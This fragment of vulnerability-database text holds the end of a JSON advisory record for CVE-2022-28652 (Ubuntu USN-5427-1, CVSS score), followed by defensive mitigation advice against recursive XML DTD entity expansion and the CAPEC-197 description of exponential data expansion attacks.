      "url": "https://ubuntu.com/security/notices/USN-5427-1"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-28652"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Mitigation
Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

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